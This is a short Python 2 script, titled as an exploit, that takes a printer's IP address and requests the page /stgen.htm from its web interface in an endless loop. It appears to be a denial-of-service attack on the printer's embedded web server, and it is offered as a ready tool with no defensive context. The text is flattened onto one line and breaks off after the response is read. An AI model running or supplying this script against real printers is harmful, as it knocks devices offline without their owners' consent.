import sys import httplib if len(sys.argv) < 2: print("Usage: python exploit.py printerIpAddress") sys.exit(0) ipAddress = sys.argv[1] while 1 > 0: print("Connecting to the web interface"); web = httplib.HTTPConnection(ipAddress) web.request("GET", "/stgen.htm") response = web.getresponse()